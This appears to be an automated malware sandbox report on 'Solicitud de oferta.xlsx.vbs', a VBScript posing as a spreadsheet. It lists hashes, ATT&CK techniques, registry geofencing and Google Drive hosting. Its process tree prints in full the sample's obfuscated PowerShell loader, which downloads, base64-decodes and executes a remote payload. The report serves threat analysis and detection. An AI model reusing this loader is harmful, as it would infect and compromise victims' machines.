82723f1b548766a4f549f45cd1342addc50c4a5706c8ffb8e4554f724dc7ac52

General

Target

Solicitud de oferta.xlsx.vbs
Size

429KB
MD5

9a509f7b5c066681e30a9f0d460375e3
SHA1

1de410352842ad3e9564579ad311ccfc1892cb91
SHA256

3d20bb55c63e72fe100bd9b8a8731fe4940b39091f3c8d4812cd456f0a47c459
SHA512

b3115fc12c6538130fa941c36b3427c68b43f85b9698769c0d44c70e66129429fda9e4743918ce9259a206dd8483edcefc12face45e31e2c9c4b5736e1ac6ffa
SSDEEP

12288:1iJv0ayfOb64MRycngoavbN0vBrbelwuL:1IvBCngoKyYau

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2440	WScript.exe
14	1432	powershell.exe
16	1432	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	drive.google.com
14	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1432	powershell.exe
1432	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 1432	2440	WScript.exe	87
PID 2440 wrote to memory of 1432	2440	WScript.exe	87
PID 1432 wrote to memory of 4600	1432	powershell.exe	91
PID 1432 wrote to memory of 4600	1432	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de oferta.xlsx.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kalkulerede = 1;$Fortsttelserne='Su';$Fortsttelserne+='bstrin';$Fortsttelserne+='g';Function Pseudoperspective($Fomes){$Fornemmende=$Fomes.Length-$Kalkulerede;For($Haiduck=1;$Haiduck -lt $Fornemmende;$Haiduck+=2){$Reboiled+=$Fomes.$Fortsttelserne.Invoke( $Haiduck, $Kalkulerede);}$Reboiled;}function Tvivlraadigstes($Albylens155){.($Forureningsfrit) ($Albylens155);}$Tryllebind=Pseudoperspective 'PM,o.zKi,lTlKa / 5V..0A ,(GW.i n d oMwSsS N TE F1 0,. 0G;F KW i,nF6 4A; x 6S4.; r vT:,1 2 1..H0 )U ,GVeHc,k,o./O2B0M1B0G0.1S0 1r F iMr e fIoTxM/J1.2B1 ..0 ';$pseudos=Pseudoperspective ' U.see,r.-SARgMe ngtS ';$Experimented=Pseudoperspective ',h tSt p,s :./P/.d r.i vSe .UgBo,o.gPlKe ..c oOm /cu c.?,e,x.p o,r,tD= d.oDw nRlToBaId & i.dS= 1.o ISyKO TSJ p I.s g dVA.V,OT3.bUfSj.w oIHDmKi,KTl.bOh e 7DIFqSaA ';$Fakses=Pseudoperspective '.> ';$Forureningsfrit=Pseudoperspective 'SiCeRxJ ';$Lodestar176='monotheism';Tvivlraadigstes (Pseudoperspective 'FS,ePtR-PCFoKnUtTe.nStA .-jPHaNt hh gT,: \SUSiSrSiBnNaa.It x tK K- VTa lBu,e P$PL oLdPe sBtDa.rF1a7,6K; ');Tvivlraadigstes (Pseudoperspective 'FiSfP (Pt eHs tL-SpPa tTh .T :P\FU.ifrJi n aT.Jt xTtV).{Cehx iCtO} ;B ');$Bengals = Pseudoperspective '.e.c h o, %.a p p d a t aL% \IS.n aEpAs h a,r,e . M.y s ,& &U e,c hNoS ,$ ';Tvivlraadigstes (Pseudoperspective 'R$Sg.l o,bfa l.:SF i nOkfuAl tSuKr = ( cImCdA /.c. P$ B e,n gHa lPs,)D ');Tvivlraadigstes (Pseudoperspective 'A$.gLlDo b aUlA:AA lBp.h.o n s eS= $ ECx.p.eErRi m,eSnCtTe,dA.Ss p.lNi t (.$.FTa k s,eKsM)S ');$Experimented=$Alphonse[0];Tvivlraadigstes (Pseudoperspective 'M$RgWlPo bSaMlH:,K.a rMt o,t eFk sMosp gCaAv.e nOsr=UNKeBw -.OSbLjRe.c tH SGy s tTeamH..NFePt .PW e bSCOl i eOnstB ');Tvivlraadigstes (Pseudoperspective ' $ KRa.r tSoLtOe.k s oLp gSaKv eDnNs.. H e a.d,eSr.s.[A$.pBsSeGuldPo,s ]H=M$FT,rLyPl l,e b ignDdS ');$Husvale47=Pseudoperspective ' K,aTrMt,oPt.eRk sTo pGgHa vSe,n,sP.NDTo w n l oPa.d.F i l,eR( $.EBxTpReSrFiCmAe n tAe d,,M$SSHiFlBl iLb uHb,s )K ';$Husvale47=$Finkultur[1]+$Husvale47;$Sillibubs=$Finkultur[0];Tvivlraadigstes (Pseudoperspective 'v$ gLl,o b,aElD: U dFvPlBg,eMl,sPe =D(QT e s tT-JP aWt.hS $,SWi l l i bmuubSs.)i ');while (!$Udvlgelse) {Tvivlraadigstes (Pseudoperspective ' $HgSlFo.bsabl :PS.kSiSlOlEe lPiDnBjSeSrFs = $HtOr u eS ') ;Tvivlraadigstes $Husvale47;Tvivlraadigstes (Pseudoperspective ' S tWa rDtD- SvlFe,e.p k4U ');Tvivlraadigstes (Pseudoperspective 'H$TgSlGoDbSa.l,:sUMd.vVlGgce lSsae =,( TPeTs,tI-UP a tUhT M$TS.iClNlTiKbHu,b s.)S ') ;Tvivlraadigstes (Pseudoperspective ',$dgOl,o bHa l :CF o.xUlFy =O$sgSlEoDb aTlE:TS,o.uMp.eLr eSs,+,+D%G$.ACl pNhKoEn s,e..,cUo.uInBtI ') ;$Experimented=$Alphonse[$Foxly];}$Cataphoria=318333;$Beslaglgningerne=25185;Tvivlraadigstes (Pseudoperspective ' $.gIl oFb a lA:RS,t o l,eBmBa g e r nseSsC U=H MGTeWt -rCQoGn,tEe,n tp E$,SUi,lHl iIb.u b.sT ');Tvivlraadigstes (Pseudoperspective ' $CgClOoTb aTl : TVr uGs t oFro = P[KS y sat.e,m . CAoSn,v e r,tU]N: :HF rMo m B.a.swe 6,4US tLrPi n,gS(A$NS,tPo lne m aTg eErCnBe s )I ');Tvivlraadigstes (Pseudoperspective 'K$ gHlCoFbtaRl :.U.n,w oIr,kSeJdsn eLs sP .= u[.SBy sUtSeJmT. TSe xPtS.,ELnMc,o.d i,nTgS],:C:AA,StC IMI..SG eAtBS.tCr iMn.gC( $ T rMuMs t oHr,), ');Tvivlraadigstes (Pseudoperspective 'F$RgCl o bDaJlF: SDqFu i l lDaTsP= $ U n w o r k esd nUe s s,.Fs uMbSs tAr.i.nPgR( $OC.a tBa pRhPomr iNa ,I$SB,eDsblMa g,l gbn iFn gLe r nAe,)B ');Tvivlraadigstes $Squillas;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snapshare.Mys && echo $"
    3⤵
    PID:4600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0hp20ne2.yv4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1432-4-0x00007FFF835D3000-0x00007FFF835D5000-memory.dmp

Filesize
8KB

Download
memory/1432-12-0x00000269FFBC0000-0x00000269FFBE2000-memory.dmp

Filesize
136KB

Download
memory/1432-15-0x00007FFF835D0000-0x00007FFF84091000-memory.dmp

Filesize
10.8MB

Download
memory/1432-16-0x00007FFF835D0000-0x00007FFF84091000-memory.dmp

Filesize
10.8MB

Download
memory/1432-17-0x00007FFF835D0000-0x00007FFF84091000-memory.dmp

Filesize
10.8MB

Download
memory/1432-22-0x00007FFF835D0000-0x00007FFF84091000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing